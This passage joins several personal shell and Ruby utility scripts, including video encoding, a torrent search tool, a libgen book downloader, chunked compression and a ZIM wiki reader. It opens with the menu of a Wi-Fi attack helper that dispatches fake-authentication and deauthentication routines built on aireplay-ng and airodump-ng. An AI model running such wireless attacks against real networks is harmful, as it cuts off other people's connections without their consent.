"5" ]; then witchconfigure menu elif [ "$choix" = "6" ]; then echo launching fake auth commands fakeauth & menu elif [ "$choix" = "7" ]; then choosedeauth menu elif [ "$choix" = "8" ]; then echo "Will restart interface and kill all airodump-ng and aireplay-ng threads" cleanup menu elif [ "$choix" = "9" ]; then monitor_interface menu elif [ "$choix" = "11" ]; then airomatic menu elif [ "$choix" = "10" ]; then echo Script terminated exit else clear menu echo " " echo "You did not enter a value in the menu, please try again" echo " " fi done #END <file_sep>#!/bin/bash ################################################################# ## webm # gource --stop-at-end -s .25 --user-image-dir ~/.cache/gravatars -o - | ffmpeg -y -r 60 -f image2pipe -vcodec ppm -i - -vcodec libvpx -b 10000K gource.webm # gource -1280x720 --stop-at-end -s .25 --user-image-dir ~/.cache/gravatars -o - | ffmpeg -y -r 60 -f image2pipe -vcodec ppm -i - -vcodec libvpx -b 10000K gource.webm ################################################################# ## x264 gource -1280x720 --stop-at-end -s .25 --user-image-dir ~/.cache/gravatars -o - | ffmpeg -y -r 60 -f image2pipe -vcodec ppm -i - -vcodec libx264 -preset ultrafast -pix_fmt yuv420p -crf 1 -threads 0 -bf 0 gource.mp4 <file_sep>#!/bin/bash IN="$*" OUT="${IN%.*}.mp4" echo "----------------------------------------------------------------" echo "* Two-pass encoding:" echo " in: $IN" echo " out: $OUT" echo "----------------------------------------------------------------" echo if [ -f "$OUT" ]; then echo "$OUT already exists. Aborting." else #ffmpeg -i "$IN" -f flv -s 320x240 - | flvtool2 -U stdin video.flv ffmpeg -i "$IN" -ar 22050 -ab 32 -f flv -s 320x240 - | flvtool2 -U stdin "$OUT" fi <file_sep>setxkbmap -option compose:caps <file_sep>#!/bin/bash sudoifnotroot mdadm -D /dev/md{0,1,2} <file_sep>#!/bin/bash # # (C) 2013 <NAME>, no rights reserved # # Find windows with the same class name(s) as the one currently in focus. # and move focus to one of them (selected at random if more than one). # This script is assumed to be bound to a keyboard sequence. # It won't work as expected if "Focus follow mouse" is set in wm settings. read dummy id < <(xprop -root ' $0\n' _NET_ACTIVE_WINDOW) if [ -z "$id" ]; then echo "Found no focused windows">&2; exit 1; fi read dummy classes < <(xprop -id "$id" ' $0 $1\n' WM_CLASS) if [ -z "$classes" ]; then echo "Found no windows of matching class, not even itself">&2; exit 1; fi otherids=$( xwininfo -root -tree | grep --fixed-strings " ($classes) " | awk -v id="$id" '$1 != id {print $1}') if [ -z "$otherids" ]; then echo "Found no other windows of same class">&2; exit 1; fi newid=$(shuf -n 1 <<<"$otherids") if [ -z "$newid" ]; then echo "Uh?">&2; exit 1; fi wmctrl -i -a "$newid" <file_sep>#!/usr/bin/env ruby ########################################################### # TODO: # * Fix Term::Table API ########################################################### gem 'slop', "~> 3.6" require 'slop' require 'epitools' ########################################################### ROOT_URL = "https://torrents-csv.ml/" TRACKERS = [ "udp://tracker.coppersurfer.tk:6969/announce", "udp://tracker.open-internet.nl:6969/announce", "udp://tracker.leechers-paradise.org:6969/announce", "udp://tracker.internetwarriors.net:1337/announce", "udp://tracker.opentrackr.org:1337/announce", "udp://9.rarbg.to:2710/announce", "udp://9.rarbg.me:2710/announce", "http://tracker3.itzmx.com:6961/announce", "http://tracker1.itzmx.com:8080/announce", "udp://exodus.desync.com:6969/announce", "udp://explodie.org:6969/announce", "udp://ipv4.tracker.harry.lu:80/announce", "udp://denis.stalker.upeer.me:6969/announce", "udp://tracker.torrent.eu.org:451/announce", "udp://tracker.tiny-vps.com:6969/announce", "udp://thetracker.org:80/announce", "udp://open.demonii.si:1337/announce", "udp://tracker4.itzmx.com:2710/announce", "udp://tracker.cyberia.is:6969/announce", "udp://retracker.netbynet.ru:2710/announce" ] ########################################################### def parse_options opts = Slop.parse(help: true, strict: true) do banner "Usage: tz [options] <query>" # on 'd', 'date', 'Sort by date' # on 'r', 'rating', 'Sort by rating' on 'm', 'mirror', 'Retrieve all torrents' on 'p', 'print', 'Print URLs' # on 'n=', 'num', "Number of results (default: #{Settings.page_size})" on 'a=', 'add', 'Add MD5 hash' on 'v', 'verbose', 'Show details and stuff' end [opts, ARGV] end ########################################################### module Settings extend self def rc path = Path["~/.tzrc"] path.exists? ? path.read_json : {} end def client rc["client"] || 'qbittorrent' end def page_size rc["page_size"] end def order rc["order"]&.to_sym end end ########################################################### module Enumerable def partition_map a, b = [], [] each do |e| if mapped = yield(e) a << mapped else b << e end end [a, b] end end ########################################################### class Result attr_accessor :title, :seeds, :peers, :date, :size, :votes, :hash def self.from_json(json) # "completed": 9603, # "created_unix": 1582801440, # "infohash": "29774d8626332e418cc55b1a6151d5e6503b5bbc", # "leechers": 1056, # "name": "Altered.Carbon.Season.2.S02.720p.NF.WEB-DL.x265-HETeam", # "scraped_date": 1582863685, # "seeders": 1462, # "size_bytes": 2127687389 obj = new obj.instance_eval do @title, @seeds, @peers, @size, @votes, @hash = json.values_at(*%w[name seeders leechers size_bytes completed infohash]) @date = Time.at json["created_unix"] end obj end def self.from_csv(row) # infohash;name;size_bytes;created_unix;seeders;leechers;completed;scraped_date # ~/src/torrents.csv $ "grep -iE 'altered.state' torrents.csv | fields -d \; 5,6,2|sort -n" obj = new obj.instance_eval do @hash, @title, @size, @date, @seeds, @peers, @votes, _ = row.chomp.split(";") end obj end def datestamp @date.strftime("%Y-%m-%d") end def escaped_title CGI.escape title.gsub(/[\^\*\"]/, '').strip end def tracker_params # TRACKERS.map { |tr| "&tr=#{tr}" }.join("") # TRACKERS.map { |tr| "&tr=#{CGI.escape(tr)}" }.join("") TRACKERS.map { |tr| "&tr=#{CGI.escape_html(tr)}" }.join("") end def magnet_url "magnet:?xt=urn:btih:#{hash}#{"&dn=#{escaped_title}" if title}#{tracker_params}" end end ########################################################### def read_url(url) begin cmd = [ "curl", "-A", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36", "--silent", "-e", ROOT_URL, url ] IO.popen(cmd, "r") { |io| io.read } rescue Errno::ENOENT require 'open-uri' open(url).read end end ########################################################### def open_url(url) cmd = Settings.client.split unless Path.which(cmd.first) $stdout.puts "Error: Couldn't locate #{Settings.client} in the path" exit 1 end if $verbose puts url puts end # Daemonize to kill the console spam Process.daemon(true) exec(*cmd, url) end ########################################################### def search(query, page=nil) url = "#{ROOT_URL}service/search" # create the query params opts = {} opts["type_"] = "torrent" opts["q"] = CGI.escape(query) unless query.empty? opts["page"] = page || 1 url += "?" + opts.map { |k,v| "#{k}=#{v}" }.join("&") # puts url if $verbose puts url results = read_url(url).from_json pp results if $verbose results.map { |result| Result.from_json(result) }.compact end ########################################################### def download_torrent(result) puts "<3>* <11>#{result.title} <8>(<10>#{result.seeds}/<2>#{result.peers}<8>)".colorize filename = "#{result.hash} - #{result.escaped_title}.torrent" if File.exists? filename puts " |_ skipping".light_yellow return end url = "http://torcache.net/torrent/#{result.hash}.torrent" open(url) do |t| data = t.read open(filename, "wb") { |o| o.write(data) } puts " |_ wrote #{data.size} bytes" end rescue OpenURI::HTTPError => e puts " |_ error: #{e}".light_red end def mirror(query, pages=10) (0..pages).each do |page| results = search(query, nil, page) break if results.empty? puts "* Got #{results.size} results..." results.each do |result| download_torrent(result) end end end def choose_torrents(results) print ">> Torrents to download (eg. 1 3 5-7, [n]ext page): " begin input = $stdin.gets rescue Interrupt puts puts "Nevermind!" exit 1 end if input.nil? puts puts "Fine, be that way!" exit 1 end input.strip! if input.empty? choices = :next_page else choices = [] input.split.each do |choice| case choice when /^n$/i choices = :next_page break when /^(\d+)$/ choices << $1.to_i when /^(\d+)-(\d+)$/ start = $1.to_i finish = $2.to_i choices += (start..finish).to_a else puts "Invalid choice: #{choice}" end end end choices = choices.map { |n| results[n-1] } if choices.is_an? Array choices end def display(results) if results.empty? puts "Nothin'!" exit 1 end results.each_with_index.to_a.reverse_each do |r, n| # seedpeers = "<10>#{r.seeds}<7>/<2>#{r.peers}" # line += " <8>[<12>+#{r.votes}<8>]" unless r.votes.empty? # line += " <14>#{r.size} <7>(#{r.age})" # line = "<10>#{r.seeds.rjust(7)} <8>| <13>#{r.peers.rjust(7)} <8>| <12>#{r.size.rjust(8)} <8>| <11>#{r.age.rjust(4)} <8>| #{number} <8>| <14>#{r.title}" # line += " <7>#{r.date} <10>#{r.seeds} <13>#{r.peers}" # line = "<11>#{r.age.rjust(4)} <8>| <12>#{r.size.rjust(8)} <8>| <10>#{seedpeers.rjust(8)} <8>| #{number} <14>#{r.title}" number = "#{(n+1).to_s.rjust(3)}." seedpeers = "#{r.seeds}/#{r.peers}".rjust(8) date = r.datestamp size = r.size.commatize.rjust(16) line = "<7>#{date} <9>#{size} <2>#{seedpeers} <15>#{number} <7>#{r.title}" puts line.colorize end end ########################################################### if __FILE__ == $0 opts, args = parse_options $verbose = opts.verbose? magnets, args = args.partition { |arg| arg[%r{^magnet:.}] } # when %r{^https?://torrentz2\.eu/(\w{40})}, %r{^https?://idope\.se/torrent/[^/]+/(\w{40})/?}, %r{^https?://torrentproject\.se/(\w{40})/} md5s, args = args.partition_map do |arg| if arg.strip =~ %r{^https?://.+/([a-f0-9]{40})}i $1 end end md5s << opts[:add] if opts[:add] magnets += md5s.map { |md5| Result.new(md5).magnet_url } if magnets.any? # Process.daemon(true) magnets.each do |url| opts.print? ? (puts url) : (open_url url) end exit end query = args.join(" ") if opts.mirror? mirror(query) else page = 1 loop do results = search(query, page) display(results) chosen = choose_torrents(results) if chosen == :next_page page += 1 else chosen.each { |t| opts.print? ? (puts t.magnet_url) : (open_url t.magnet_url) } break end end end end <file_sep># git partial checkout How to checkout just one directory from a git repo (from https://stackoverflow.com/a/52269934). ## using sparse checkouts ``` git clone \ --depth 1 \ --filter=blob:none \ --sparse \ https://github.com/big/repo \ ; cd repo git sparse-checkout init --cone git sparse-checkout set <small-directory> ``` ## using no-checkout ``` git clone \ --depth 1 \ --filter=blob:none \ --no-checkout \ https://github.com/big/repo \ ; cd repo git checkout master -- <small directory> ``` <file_sep>#!/usr/bin/ruby %w[rubygems nokogiri curb uri pp].each { |m| require m } # TODO: - REWRITE so it's like 'shuffle'. ("grab audio http://site.com/stuff/ /d/mp3") # - use progress bar # - lightbar to flag files you want to get (w/ "select all"/"select none"/"invert") # - let user filter by regexp # - resume ("-w" or "-c" to use curl or wget, "-r" to use internal resume) # - "-n" mode (show links only) # - class Grabber HTTP_STATUS_CODES = { 000 => "Incomplete/Undefined error", 201 => "Created", 202 => "Accepted", 203 => "Partial Information", 204 => "Page does not contain any information", 204 => "No response", 206 => "Only partial content delivered", 300 => "Page redirected", 301 => "Permanent URL relocation", 302 => "Temporary URL relocation", 303 => "Temporary relocation method and URL", 304 => "Document not modified", 400 => "Bad request (syntax)", 401 => "Unauthorized access (requires authentication)", 402 => "Access forbidden (payment required)", 403 => "Forbidden", 404 => "URL not found", 405 => "Method not Allowed (Most likely the result of a corrupt CGI script)", 408 => "Request time-out", 500 => "Internet server error", 501 => "Functionality not implemented", 502 => "Bad gateway", 503 => "Service unavailable", } OKAY_CODES = [200, 403, 405] def initialize(verbose=false, depth=0) @easy = Curl::Easy.new do |c| c.headers["User-Agent"] = "Curl/Ruby" c.encoding = "gzip,deflate" c.verbose = verbose c.follow_location = true c.max_redirects = depth c.enable_cookies = true end end def read(url) @easy.url = url @easy.perform @easy.body_str end def download(url, save_to) #@easy.url = url first_time = nil last_bytes = nil Curl::Easy.download(url, save_to) do |easy| easy.on_progress do |dl_total, dl_now, ul_total, ul_now| speed = nil first_time ||= Time.now if first_time elapsed = Time.now - first_time transferred = dl_now speed = (transferred/elapsed).to_i end percent = "%0.2f%" % (dl_now/dl_total*100) percent = "%#{"100.00%".size}s" % percent total = dl_total.to_i.to_s recvd = "%#{total.size}s" % dl_now.to_i.to_s print "\r" print " |_ #{percent} - #{recvd} / #{total} bytes (#{speed} bytes/sec}" STDOUT.flush last_time = Time.now last_bytes = dl_now true end end puts return File.open(save_to, "wb") do |output| old_on_body = @easy.on_body do |data| result = old_on_body ? old_on_body.call(data) : data.length output << data if result == data.length result end @easy.perform end end def save(url, dest) if File.directory?(dest) save_to = File.join( dest, filename_from_url(url) ) elsif File.exists?(dest) # TODO: Resume? raise "Error: #{dest} already exists." else save_to = dest end puts %{- "#{url}" -> "#{save_to}"...} # @easy.on_progress { |dl_total, dl_now, ul_total, ul_now| ... } download(url, save_to) puts end def graball(base, dest=".", prompt=true, depth=0) puts "* Reading: #{base}..." doc = Nokogiri::HTML( read base ) puts "* Media links:" links = doc.search("a").map do |a| link = a["href"] media_url?(link) ? link : nil end.compact links.each do |link| puts " |_ #{link}" end loop do puts print "* Save all? [Y/n] " response = $stdin.gets.strip.downcase case response when "y", "" puts " |_ saving..." links.each do |link| save(absolute_url(base, link), dest) end break when "n" puts " |_ aborting..." break end end end private def absolute_url(base, relative) if relative =~ /^http/ relative else URI.join(base, relative).to_s end end def filename_from_url(url) return if url.nil? base = url.split(/\?/).first return if base.nil? base.split(/\//).last end def media_url?(url) if filename_from_url(url) =~ /\.(mp3|avi|mpg|mp4|flv|ogg)$/ $1 else nil end end def check_for_problem! code = @easy.response_code unless OKAY_CODES.include? code raise "Error: #{code} - #{HTTP_STATUS_CODES[code]}" end end end class Link attr_accessor :base, :relative, :grabber def initialize(base, relative) @base = base @relative = relative @grabber = Grabber.new end def absolute if relative =~ /^http/ relative else URI.join(base, relative).to_s end end alias_method :to_s, :absolute alias_method :url, :absolute def save(dest=".") if File.directory?(dest) save_to = File.join( dest, filename_from_url(url) ) elsif File.exists?(dest) # TODO: Resume? raise "Error: #{dest} already exists." else save_to = dest end puts %{- "#{url}" -> "#{save_to}"...} # @easy.on_progress { |dl_total, dl_now, ul_total, ul_now| ... } grabber.download(url, save_to) puts end end class Page attr_accessor :url, :grabber def initialize(url) @url = url @grabber = Grabber.new end def filename_from_url(url) return if url.nil? base = url.split(/\?/).first return if base.nil? base.split(/\//).last end def media_url?(url) if filename_from_url(url) =~ /\.(mp3|avi|mpg|mp4|flv|ogg)$/ $1 else nil end end def get_media_links doc = Nokogiri::HTML( grabber.read(url) ) doc.search("a").map do |a| link = a["href"] media_url?(link) ? link : nil end.compact end def media_links @media_links ||= get_media_links end end GRAB_VERSION = "0.0.3" USAGE = %{ grab v#{GRAB_VERSION} Purpose: Grabs all media files! Usage: $ grab <webpage that has media files on it> } if $0 == __FILE__ if ARGV.size < 1 puts USAGE exit 1 end g = Grabber.new #g.graball('http://www.phonelosers.org/issue/014/') ARGV.each do |arg| page = Page.new(arg) pp page.media_links for link in page.media_links system("wget", "-c", link) end # g.graball(arg) end end <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' gem 'slop', "~> 3.6"; require 'slop' ######################################################## =begin COMPRESSORS = { "bz2" => ["bunzip2 -c", "bzip2 -c"], "zst" => ["zstd -d -c", "zstd -c"], #"xz" => ["xz -d -c", "xz -c"], # uses too much ram! "xz" => ["zstd --format=xz -d -c", "zstd --format=xz -c"], #"gz" => ["gunzip -c", "gzip -c"], "gz" => ["zstd --format=gzip -d -c", "zstd --format=gzip -c"], #"lzma" => ["lzma -d -c", "lzma -c"], "lzma" => ["zstd --format=lzma -d -c", "zstd --format=lzma -c"], "lz4" => ["zstd --format=lz4 -d -c", "zstd --format=lz4 -c"], } =end # # zstd can do gz, xz, lzma, and lz4 (it uses *way* less ram than xz): # # --format=FORMAT: compress and decompress in other formats. If # compiled with support, zstd can compress to or decompress from # other compression algorithm formats. Possibly available options are # zstd, gzip, xz, lzma, and lz4. If no such format is provided, zstd # is the default. # ######################################################## class String HUMAN_SIZES = {''=>0, "K"=>1, "M"=>2, "G"=>3, "T"=>4, "P"=>5, "E"=>6, "Z"=>7, "Y"=>8} def from_human if self =~ /^(\d+(?:\.\d+)?)(\w?)/ # match num_str = $1 size_letter = $2.upcase if pow = HUMAN_SIZES[size_letter] num = num_str["."] ? num_str.to_f : num_str.to_i return num * (1024 ** pow) end end nil end end ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: chunked-compress [options] <file(s)>" #on "f=", "format", "Which compressor? (available: #{COMPRESSORS.keys.join(', ')})}", default: "gz" on "s=", "size", "Chunk size (can use suffixes like GB, MB, M, k, etc.)", default: "15M" on "o=", "output", "Chunked file" on "i=", "index", "Create an index TSV where each row contains: <uncompressed chunk start position>\\t<compressed chunk start position>\\t<compressed chunk size>" on "b", "byte-aligned", "Aligns input reads to the exact chunk size (normally shrinks the chunk so it ends on a newline)" end args = ARGV unless output_filename = opts[:output] puts "Error: Must supply an output file." puts puts opts exit 1 end unless chunk_size = opts[:size].from_human puts "Error: Unrecognized size format: #{opts[:size]}" puts puts opts exit 1 end if (missing = args.select { |arg| not File.exist? arg }).any? puts "Error: the following files couldn't be found:" missing.each { |file| puts file } exit 1 end unless opts[:index] puts "Error: --index not specified" puts exit 1 end index = (index_filename = opts[:index]) ? open(index_filename, "w") : nil =begin format = opts[:format] unless (decompress_command, compress_command = COMPRESSORS[format]) puts "Error: I don't know how to compress #{format} files" puts exit 1 end =end byte_aligned = opts[:"byte-aligned"] puts "* Creating a (so-called) multistream archive..." puts " |_ output: #{output_filename}" puts " |_ index: #{index_filename}" if index puts " |_ chunk size: #{chunk_size.commatize}" #puts " |_ compressor: #{compress_command}" open(output_filename, "wb") do |outp| args.each do |arg| puts " |_ processing input file: #{arg}" open(arg, "rb") do |inp| count = 0 while not inp.eof? outp_start = outp.pos inp_start = inp.pos if (inp.size - inp_start) < chunk_size # less than 1 chunk of the file left... inp_read_size = nil # ...so read the whole thing else inp.seek(inp_start + chunk_size) # go to the end of the chunk inp.seek_backwards_to("\n") if not byte_aligned inp_end = inp.pos # remember where the chunk ends (this will come in handy later) inp_read_size = inp_end - inp_start # the (potentially adjusted, new) chunk size inp.seek(inp_start) end =begin reader, writer = IO.pipe pid = spawn(compress_command, in: reader, out: outp) IO.copy_stream(inp, writer, inp_read_size) writer.close; reader.close Process.wait pid, Process::WNOHANG =end compressed = Zlib.gzip(inp.read(inp_read_size), level: 9) compressed_size = compressed.size #outp.pos - outp_start outp.write(compressed) puts " |_ [chunk##{count}] in pos: #{inp_start.commatize}, out pos: #{outp_start.commatize} (#{compressed_size.commatize} compressed)" index.puts "#{inp_start}\t#{outp_start}\t#{compressed_size}" if index count += 1 end end end end <file_sep>#!/usr/bin/env zsh if [ -f "$@" ]; then old="$@" new="$@" echo "old: $old" vared -p "new: " new echo "mv $old $new" else echo "usage: zren <file(s)>" fi <file_sep>#!/usr/bin/env ruby require 'fileutils' require 'pathname' include FileUtils #include FileUtils::Verbose def swap_files(a, b) tmp = a + ".swapping" mv a, tmp mv b, a mv tmp, b end def swap(a, b) puts "Swapping #{a.inspect} and #{b.inspect}..." paths = [a,b] linked, unlinked = paths.partition { |path| File.symlink? path } case linked.size when 2 # If the links are pointing at each other... if File.readlink(linked.first) == linked.last and File.readlink(linked.last) == linked.first puts "Files are pointing at each other. Swapping will have no effect." else swap_files(a, b) end when 1 # Is the symlink pointing at the other file? if File.realpath(linked.first) == File.realpath(unlinked.first) # Swap symlinks File.unlink(linked.first) # delete symlink File.rename(unlinked.first, linked.first) # rename unlinked to linked File.symlink(linked.first, unlinked.first) # link unlinked to linked else swap_files(a, b) end when 0 swap_files(a, b) end end args = ARGV if args.empty? puts "Usage: swap <filename> <other_filename>" puts " (swaps the names of two files)" exit 1 elsif args.size != 2 puts "Error: You must supply exactly 2 files to swap." exit 1 end args.each do |arg| unless File.symlink?(arg) or File.exists?(arg) puts "Error: #{arg.inspect} doesn't exist." exit 1 end end a, b = args swap(a, b)<file_sep>#!/usr/bin/env ruby require 'epitools' if ARGV.any? files = ARGV.map(&:to_Path) files.map { |f| f.dir? ? f.ls : f }.flatten else files = Path["*"] end empties = files.select{|f| f.dir? and f.ls_r.all?(&:dir?) } puts "Empty directories found:" puts "----------------------" puts empties.each { |path| puts "#{path.mtime} #{path}" } puts if prompt("Remove these directories?") == "y" puts "Removing directories..." empties.each { |e| cmd("trsh", "-r", e) } end <file_sep>#!/usr/bin/env ruby ######################################################## require 'epitools' require 'oga' gem 'slop', "~> 3.6" require 'slop' ######################################################## ######################################################## # Parse options opts = Slop.parse(help: true, strict: true) do banner "Usage: libgen [options] <query>" on "e=", "ext", "only show books with this file extension", default: "epub" on "a", "all", "show books with all extensions" on "r", "reload", "reload the results page (don't use the cached version)" end args = ARGV ######################################################## class Result < Struct.new(:id, :authors, :title, :publisher, :year, :pages, :lang, :size, :ext, :links) def title elem = super elem.css("i").remove elem.text.strip end def fulltitle "[#{ext}] #{title} (#{authors}) [#{publisher} #{year}] => #{size}" end %i[authors publisher year lang size ext].each do |meth| eval "def #{meth}; super.text.strip; end" end def pages super.children.first.text rescue nil end def links super.map { |e| e.at_css("a")["href"] } end DL_SCORES = Rash.new({/ipfs\.io/ => 100, /cloudflare/ => 50, /ipfs/ => 10}) def download_links doc = Oga.parse_html(curl(links.first)) links = doc.css("#download a").map { |e| e["href"] } links.sort_by { |l| DL_SCORES[l] or 0 }.reverse end end def choose_results(results) print ">> Books to download (eg. 1 3 5-7, [n]ext page): " begin input = $stdin.gets rescue Interrupt puts puts "Nevermind!" exit 1 end if input.nil? puts puts "Fine, be that way!" exit 1 end input.strip! if input.empty? choices = :next_page else choices = [] input.split.each do |choice| case choice when /^n$/i choices = :next_page break when /^(\d+)$/ choices << $1.to_i when /^(\d+)-(\d+)$/ start = $1.to_i finish = $2.to_i choices += (start..finish).to_a else puts "Invalid choice: #{choice}" end end end choices = choices.map { |n| results[n-1] } if choices.is_an? Array choices end def cached_curl(url, tmpdir: (ENV["TMPDIR"] || "/tmp"), reload: false) cache = "#{tmpdir}/curl-#{url.sha1}.cache" if File.exist?(cache) and not reload puts "cached! => #{cache}" else File.write(cache, curl(url)) end File.read(cache) end def url_for_query(*args) query = CGI.escape(args.join(" ")) "https://libgen.is/search.php?req=#{query}&lg_topic=libgen&open=0&view=simple&res=50&phrase=1&column=def" end url = url_for_query(*args) html = cached_curl(url, reload: opts.reload?) doc = Oga.parse_html(html) if html["<h1>Error</h1>"] pp doc.each_node.map(&:text).uniq exit 1 end table = doc.at_css("table.c") rows = table.css("tr") header = rows.shift.css("td").map(&:text)[0..-2] results = rows.map do |row| cells = row.css("td")[0..-2] links = cells[header.size-1..-1] args = cells[0..header.size-2] #pp header.zip(args) #require 'pry';binding.pry Result.new(*args, links) end unless opts[:all] results = results.select { |r| r.ext == opts[:ext] } end results.each_with_index do |r, i| # => :authors, :title, :publisher, :year, :pages, :lang, :size, :ext, :links puts "<14>#{i+1}<7>. <8>[<9>#{r.ext}<8>] <11>#{r.title} <8>(<7>#{r.authors}<8>) <8>[<15>#{r.year}<8>]".colorize puts " <10>#{r.size}<7>, <15>#{r.pages} <7>pages <8>[<7>#{r.publisher}<8>]".colorize puts end #require 'pry';binding.pry chosen = choose_results(results) chosen.each do |choice| puts "* #{choice.fulltitle}" # choice.download_links.each { |link| puts " #{link}" } pp choice.download_links url = choice.download_links.first filename = URI.parse(url).params["filename"] puts " |_ writing to #{filename.inspect}" system("wget", "--no-verbose", "--show-progress", "--no-use-server-timestamps", url, "-O", filename) puts end <file_sep>#!/usr/bin/env ruby ###################################################################### require 'epitools' gem 'slop', "~> 3.6" require 'slop' ###################################################################### class String # # Turns "A Very, Very Lovely String!" into "averyverylovelystring" # def smash downcase.scan(/\w+/).join end STOPWORD_RE = /\b(#{String::STOP_WORDS.join("|")})\s*\b/i # # Return a copy of the string with all STOPWORDS removed # def without_stopwords gsub(STOPWORD_RE, '') end end ###################################################################### # # Markdown to ANSI Renderer ("BlackCarpet") # # This class takes a little while to initialize, so instead of slowing down the script for every non-markdown file, # I've wrapped it in a proc which gets lazily loaded by `render_markdown` when needed. # BLACKCARPET_INIT = proc do def indented?(text) indent_sizes = text.lines.map{ |line| if line =~ /^(\s+)/ then $1 else '' end }.map(&:size) indent_sizes.all? {|dent| dent > 0 } end def unwrap(text) return text unless indented? text text.lines.to_a.map(&:strip).join ' ' end def indent(text,amount=2) text.lines.map{|line| " "*amount + line }.join end class BlackCarpet < Redcarpet::Render::Base def normal_text(text) text end def raw_html(html) '' end def link(link, title, content) unless content&.[] /^Back / str = "" str += "<15>#{content}</15>" if content if title if title.smash != content.smash str += " <8>(</8><11>#{title}</11><8>)</8>" end elsif link str += " <8>(</8><9>#{link}</9><8>)</8>" end str.colorize end end def block_code(code, language) language ||= :ruby language = :cpp if language == "C++" require 'coderay' "#{indent CodeRay.scan(code, language).term, 4}\n" end def block_quote(text) indent paragraph(text) end def codespan(code) code.cyan end def header(title, level, anchor=nil) color = case level when 1 then :light_yellow when 2 then :light_cyan when 3 then :light_blue else :purple end bar = ("-"*(title.size+4)).grey "#{bar}\n #{title.send(color)}\n#{bar}\n\n" end def double_emphasis(text) text.light_green end def emphasis(text) text.green end def linebreak "\n" end def paragraph(text) "#{indented?(text) ? text : unwrap(text)}\n\n" end def list(content, list_type) case list_type when :ordered @counter = 0 "#{content}\n" when :unordered "#{content}\n" end end def list_item(content, list_type) case list_type when :ordered @counter ||= 0 @counter += 1 " <8>#{@counter}.</8> #{content.strip}\n".colorize when :unordered " <8>*</8> #{content.strip}\n".colorize end end def table_cell(content, alignment) @cells ||= [] @cells << content content end def table_row(content) @rows ||= [] if @cells @rows << @cells.dup @cells.clear else @rows << [] end content end def table(header, body) headings = @rows.shift table = Terminal::Table.new(headings: headings, rows: @rows) @rows = [] "#{table}\n\n" end end BlackCarpet end ###################################################################### def markdown_to_ansi(markdown) require 'redcarpet' BLACKCARPET_INIT.call unless defined? BlackCarpet options = { no_intra_emphasis: true, fenced_code_blocks: true, } begin require 'terminal-table' carpet = Redcarpet::Markdown.new(BlackCarpet, options.merge(tables: true)) rescue LoadError carpet = Redcarpet::Markdown.new(BlackCarpet, options) end carpet.render(markdown) end ###################################################################### class Article < Struct.new(:wiki, :title, :id, :type_char, :redirect_id, :namespace, :url) TYPES = { "R" => :redirect, "A" => :article, } def self.from_line(wiki, line) namespace, url, title, id, type_char, redirect_id, size = line.chomp.split("\t") new(wiki, title, id, type_char, redirect_id, namespace, url) end def type TYPES[type_char] end def redirect? type_char == "R" end def article? namespace == "A" end def image? namespace == "I" end def body the_id = redirect? ? redirect_id : id cmd = ["zimdump", "-o", the_id, "-d", wiki.file] IO.popen(cmd, "r") { |io| io.read } end def inspect "#<Article #{id}: #{title.inspect} (ns: #{namespace} type: #{type_char}, redirect: #{redirect_id}, #{wiki.file.basename})>" end end ###################################################################### class Zim def initialize(zimfile, tsvindex) @zimfile = Path[zimfile] @tsvindex = Path[tsvindex] end class Info attr_accessor :id, :ns, :title, :url, :type, :redirect_id, :mimetype, :size TYPES = { "R" => "redirect", "A" => "article", } def self.from_hash(hash) info = new info.id = hash["idx"] info.ns = hash["ns"] info.title = hash["title"] info.url = hash["url"] info.type = hash["type"] info.redirect_id = hash["redirect index"] info.mimetype = hash["mimetype"] info.size = hash["article size"] end def self.from_line(line) info = new info.ns, info.url, info.title, info.id, info.type, info.redirect_id, info.size = line.split("\t") info.type = TYPES[info.type] end def article? @ns == "A" end def image? @ns == "I" end def redirect? @type == "redirect" end end def zimdump(*args, &block) cmd = ["zimdump", *args, @zimfile].map &:to_s puts cmd.join " " IO.popen(cmd, "r", &block) end def body(id) inf = info(id) if inf.redirect? get_body inf.redirect_id else zimdump("-o", info.id, "-d", &:read) end end def info(id) hash = zimdump("-o", id, "-i") do |io| # url: 1817_in_the_UK.html # title: 1817 in the UK # idx: 61488 # namespace: A # type: redirect # redirect index: 61489 io.each_line.map { |l| l.scan(/\s*([^:]+):\s+(.+)/) }.flatten(1).to_h end Info.new(hash) end def search(words, ns: "A", exact: false) if exact cmd = ["grep", words, @tsvindex.to_s] else cmd = ["grep", "-iE", "#{words.join(".*")}", @tsvindex.to_s] end IO.popen(cmd). each_line. map { |line| Info.from_line(line) }. select { |info| info.ns == ns } end end ###################################################################### class Wiki attr_reader :file, :index def initialize(file, index) @file = file @index = index end # def index # @index ||= Index.new(self, "wik.index") # end def search *args tsv_search *args end def get(id) cmd = ["zimdump", "-o", id, "-i", file] p cmd hash = IO.popen(cmd, "r") do |io| # url: 1817_in_the_UK.html # title: 1817 in the UK # idx: 61488 # namespace: A # type: redirect # redirect index: 61489 io.each_line.map { |l| l.scan(/\s*([^:]+):\s+(.+)/) }.flatten(1).to_h end if hash["type"] hash["type_char"] = hash["type"][0].upcase end # Article < Struct.new(:wiki, :title, :id, :type, :redirect, :namespace) Article.new self, *hash.values_at("title", "idx", "type_char", "redirect index", "namespace") end def get_page(filename) cmd = ["grep", "\t#{filename}.html\t", index.to_s] articles = IO.popen(cmd). each_line. map { |line| Article.from_line(self, line) }. select &:article? case articles.size when 0 then raise "Not found" when 1 then articles.first else raise "Too many matches" end end def get_file(filename) cmd = ["grep", "\t#{filename.urldecode}\t", index.to_s] articles = IO.popen(cmd). each_line. map { |line| Article.from_line(self, line) }. select { |article| not article.article? } case articles.size when 0 then raise "No image found" when 1 then articles.first else raise "Error: too many matches" end end def score(orig_title, words) score = 0 title = orig_title.without_stopwords.downcase # whole phrase is in title score += orig_title[/^#{words.join("\s+")}$/i] ? 1000 : 0 # first word is in title score += title[/^#{words.first}/i] ? 100 : 0 # percentage of words in title matched_words = words.select { |w| title[w] } score += (matched_words.size/words.size.to_f)*100 # minimal text in between the words in the title junk = title.scan(/#{matched_words.join("(.*)")}/) score -= (junk.flatten.join.size/title.size.to_f)*100 # p [score, title] score end def tsv_search(words, max_results=100) # words = words.map &:downcase p searching: words cmd = ["grep", "-iE", "#{words.join(".*")}", index.to_s] results = IO.popen(cmd) do |io| io.each_line. # select do |line| # title = line.split[2].downcase # words.all? { |word| title[word] } # end. map { |line| Article.from_line(self, line) }. select { |article| article.article? and 